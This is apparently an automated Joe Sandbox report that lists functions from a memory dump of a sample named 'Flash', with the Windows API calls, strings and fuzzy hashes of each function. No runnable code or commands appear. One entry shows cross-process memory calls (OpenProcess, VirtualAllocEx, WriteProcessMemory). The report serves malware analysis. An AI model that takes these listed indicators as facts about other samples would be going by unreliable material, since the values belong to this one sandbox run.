Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: ecf79099dd51dad401cf58e0fd284b914afdee3c3256a60bcd65336446522abf
Instruction ID: 113ce2cc3ac73a5cc0d34fffba717cfd9c7d5f6b6134eb1fff28f32d61624e21
Opcode Fuzzy Hash: ecf79099dd51dad401cf58e0fd284b914afdee3c3256a60bcd65336446522abf
Instruction Fuzzy Hash: E601B573A405297BD614A719AC82FBF737CAE707A4F048535FE06D6742E7A0DE1582E0

Function 00A3504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00A35075
__beginthreadex.LIBCMT ref: 00A35093
MessageBoxW.USER32(?,?,?,?), ref: 00A350A8
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00A350BE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00A350C5

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 525069554be2fc1554490912ab26d7c17c12e3d762fd6c684b7c98708cb69cc1
Instruction ID: 5a2cf1ded897875b2d6077c6f42e96674779d461cc064c2b0862770f39274cb6
Opcode Fuzzy Hash: 525069554be2fc1554490912ab26d7c17c12e3d762fd6c684b7c98708cb69cc1
Instruction Fuzzy Hash: 3A11C276918608AFC701CBE89C04ADF7BA8AB46320F140256F914D3250D6B2894187F0

Function 00A28E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A28E3C
GetLastError.KERNEL32(?,00A28900,?,?,?), ref: 00A28E46
GetProcessHeap.KERNEL32(00000008,?,?,00A28900,?,?,?), ref: 00A28E55
HeapAlloc.KERNEL32(00000000,?,00A28900,?,?,?), ref: 00A28E5C
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A28E73

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: bdd6258301ec78f74d44b3a2f1fad25998e7d3b7395e6d4beb3b2cd6021790b9
Instruction ID: a8edb32687cc4c81d930a3bf0bcf8368c81a1ca26ce999ad1e622191efa72499
Opcode Fuzzy Hash: bdd6258301ec78f74d44b3a2f1fad25998e7d3b7395e6d4beb3b2cd6021790b9
Instruction Fuzzy Hash: 4F0186B4201214BFDB118FE9EC48D6B7FBDEF863557100629F845C2220DBB1DC51CA60

Function 00A357FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A3581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00A35829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A35831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00A3583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00A35877

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 4b3f0b6fe5b2def4813ee5bf091a0993b9d9d53629aa2e99e898f9dd4d824f52
Instruction ID: 879e7ae5872ec96f39acc02f908ba9b568105e52fb701bdbd85f7ed29638ad4c
Opcode Fuzzy Hash: 4b3f0b6fe5b2def4813ee5bf091a0993b9d9d53629aa2e99e898f9dd4d824f52
Instruction Fuzzy Hash: C8015731C01A1D9BCF00DFF9ED489EEBBB8BB09711F014556E501B2140DB709590DBA1

Function 00A28CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A28CDE
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A28CE8
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A28CF7
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A28CFE
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A28D14

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ca1e9b9ffe20a04dfe6d0c081865aab3a68ac2eb115a20578979b1c08730eb46
Instruction ID: 88bf79acb910b8fbe8064ba81fafb642d1730e27e088e0e00da48c53a38fa53f
Opcode Fuzzy Hash: ca1e9b9ffe20a04dfe6d0c081865aab3a68ac2eb115a20578979b1c08730eb46
Instruction Fuzzy Hash: A7F0AF30201214AFEB114FE8AC88E673BBCEF4A754B104525F904C6190CAA19C86DB60

Function 00A28D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00A28D3F
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D49
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D58
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D5F
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00A28D75

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: def76e911a92a7a694aed6944901e3ceebffe7322ff46d44bf509f34c011a0cc
Instruction ID: e961885b15fbf9f81aeea7342059778404be198076b73e16d5d0ac7afa0d58b0
Opcode Fuzzy Hash: def76e911a92a7a694aed6944901e3ceebffe7322ff46d44bf509f34c011a0cc
Instruction Fuzzy Hash: CFF0C230211214AFEB114FA8EC88F673BBCEF4A754F040125F944C6190CBB1DD86DB60

Function 00A2CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00A2CD90
GetWindowTextW.USER32(00000000,?,00000100), ref: 00A2CDA7
MessageBeep.USER32(00000000), ref: 00A2CDBF
KillTimer.USER32(?,0000040A), ref: 00A2CDDB
EndDialog.USER32(?,00000001), ref: 00A2CDF5

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: aac70863ba8ea70743378cfabc19745cf2d9b5c41b34eb9404c69b11b002d436
Instruction ID: 2ab0bda1a4c4a7e5f119bbc96d9655833fd2f62d7f832c128e184a21524d7e69
Opcode Fuzzy Hash: aac70863ba8ea70743378cfabc19745cf2d9b5c41b34eb9404c69b11b002d436
Instruction Fuzzy Hash: 8E018674500714ABEB219B68ED4EFAB7B78FB00715F000679F593A10E1DBF0A9958B90

Function 009D178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 009D179B
StrokeAndFillPath.GDI32(?,?,00A0BBC9,00000000,?), ref: 009D17B7
SelectObject.GDI32(?,00000000), ref: 009D17CA
DeleteObject.GDI32 ref: 009D17DD
StrokePath.GDI32(?), ref: 009D17F8

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c2ab44d84af3a2c543fe64735a81c7db81c5f091596d192b586db48bc790f85c
Instruction ID: 85d1aab4c5a954b03bd576bcd06fcdab4cf71c7ab72ed428fee449d124e0c8ac
Opcode Fuzzy Hash: c2ab44d84af3a2c543fe64735a81c7db81c5f091596d192b586db48bc790f85c
Instruction Fuzzy Hash: 18F0B231158208BBDB119FA6ED4CF5A3BB8AB01326F15C216F829552F0CBB589D7DF20

Function 00A3C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00A3CA75
CoCreateInstance.OLE32(00A63D3C,00000000,00000001,00A63BAC,?), ref: 00A3CA8D

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

CoUninitialize.OLE32 ref: 00A3CCFA

Strings

.lnk, xrefs: 00A3CA09, 00A3CA31, 00A3CA3B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: bf5890bbd8b974e1f68e6550cf45751585abb4f3ea1de88f5a0debc77c09e8f1
Instruction ID: 80b67d51c6f00310c26cef980f97d0e8c1c3f4ec0ae79aa7b96e777b876aaa48
Opcode Fuzzy Hash: bf5890bbd8b974e1f68e6550cf45751585abb4f3ea1de88f5a0debc77c09e8f1
Instruction Fuzzy Hash: F0A11971544205AFD300EF64C881EAFB7E9EF98714F00892DF155972A2EB70AE49CB92

Function 009DE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

Part of subcall function 009E1680: _memmove.LIBCMT ref: 009E16DB

__swprintf.LIBCMT ref: 009DE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 009DE431

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 5175c3e217330aa9aa527fa36d17a695f233a6dcb03b11879ccb39ac0752dc17
Instruction ID: 424378a1db3171664ae8be7f3b09bda337de37687c85d96ffdf209694b5e99eb
Opcode Fuzzy Hash: 5175c3e217330aa9aa527fa36d17a695f233a6dcb03b11879ccb39ac0752dc17
Instruction Fuzzy Hash: F191AC71508241DFCB15FF24C895E6EB7A8AFD5300F44491EF5969B2A2EB30ED44CB92

Function 009F523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 009F52CD

Part of subcall function 00A00320: __87except.LIBCMT ref: 00A0035B

Strings

pow, xrefs: 009F52A5, 009F52C2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: fa5535a86948f0bad68498919650583a89724e1594f5640c011f66da223a6e7c
Instruction ID: 5b73ef191ddcce7f0882d903b13530e6fbff21cee05fb22a4cb11470d291bccd
Opcode Fuzzy Hash: fa5535a86948f0bad68498919650583a89724e1594f5640c011f66da223a6e7c
Instruction Fuzzy Hash: 3251A131E09A0DD7CB11B718E941BBA2BA8DB00750F314E18E7D1861E9EFB98CC59B46

Function 009F0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 009F0690
#, xrefs: 009F0699

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 650d907ac18d9e78b34cce4998d8125f384d3e0d420cfbeb365b9f3b08ba04ad
Instruction ID: f5a9306f015355992be7f6a12f0bf72da1ae3bb207bf02c14e029a36b82f0da8
Opcode Fuzzy Hash: 650d907ac18d9e78b34cce4998d8125f384d3e0d420cfbeb365b9f3b08ba04ad
Instruction Fuzzy Hash: 565125755012A9CFDF15EF6CD840AFA7BA8EF99310F2440A5FD919B291D734AC82CB60

Function 009ECF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009ECFC2
_memmove.LIBCMT ref: 009ED060
_memset.LIBCMT ref: 009ED084

Strings

ERCP, xrefs: 009ECF2D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: e4261930e8c4e80c078c6110debaab30b51d36ac32a5301f1670e59653c753cb
Instruction ID: acc164f3a2255c600a1aa208f32272733b68f9118c7ddcf1093ca146bf91bc0f
Opcode Fuzzy Hash: e4261930e8c4e80c078c6110debaab30b51d36ac32a5301f1670e59653c753cb
Instruction Fuzzy Hash: A651D3B19003499FDB25DF65C8817AABBF9EF44311F24857EE54ADB241E730DA82CB50

Function 00A2A3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A31CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A29E4E,?,?,00000034,00000800,?,00000034), ref: 00A31CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00A2A3F7

Part of subcall function 00A31C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00A29E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00A31CB0

Part of subcall function 00A31BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00A31C08
Part of subcall function 00A31BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00A29E12,00000034,?,?,00001004,00000000,00000000), ref: 00A31C18
Part of subcall function 00A31BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00A29E12,00000034,?,?,00001004,00000000,00000000), ref: 00A31C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A2A464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00A2A4B1

Strings

@, xrefs: 00A2A4C9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: d20135c5b396ce97b569a9f951a08f03fcd426794941cbbd73153a1c0a68c4d8
Instruction ID: d119ff071c7f8c07ad351be7c710ca11082e376e9ddb33aad8a392ac637f2775
Opcode Fuzzy Hash: d20135c5b396ce97b569a9f951a08f03fcd426794941cbbd73153a1c0a68c4d8
Instruction Fuzzy Hash: 5C413D7690021CBFDB10DFA4CD85ADEBBB8EF45300F004095FA55B7190DAB1AE85CBA1

Function 00A579FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00A57A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00A57A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A57ABE

Strings

SysMonthCal32, xrefs: 00A57A51

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 37c6e7b95fa3c9b1017d6bf4e0502a52f4d7f4fed9ab167f6b37156dd4460553
Instruction ID: dae10a360d5422826ba49364d5a72f9684dd4757c6a51c1199e93cd3c56456dd
Opcode Fuzzy Hash: 37c6e7b95fa3c9b1017d6bf4e0502a52f4d7f4fed9ab167f6b37156dd4460553
Instruction Fuzzy Hash: 7E218D32654218ABDF21CF94DC46FEE3B69FB48764F110214FE157B190DAB1A8558BA0

Function 00A581B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00A5826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00A5827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00A58284

Strings

msctls_updown32, xrefs: 00A581E9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: e14a0b631ced87c9af64b39ee35a0040e4fcefd8fa8946b244e337f876033726
Instruction ID: f1e0fe2dd93c993081ac4bf3913b66039cc0837ee8a1fd062dd796ffe3eee75e
Opcode Fuzzy Hash: e14a0b631ced87c9af64b39ee35a0040e4fcefd8fa8946b244e337f876033726
Instruction Fuzzy Hash: 93219CB5604208AFDB00DF58CC85DAB37EDFB593A4B044059FA11AB2A1CB70EC51CBB0

Function 00A572D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00A57360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00A57370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00A57395

Strings

Listbox, xrefs: 00A5732D

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 52ec3c3e22e49995e2c54bad99d3c682fc42ab9095493c5d408efc197bec3329
Instruction ID: 8ba8457fdc200d50c060e501a9b354c2e860829ff04279d190cfd324bdee091f
Opcode Fuzzy Hash: 52ec3c3e22e49995e2c54bad99d3c682fc42ab9095493c5d408efc197bec3329
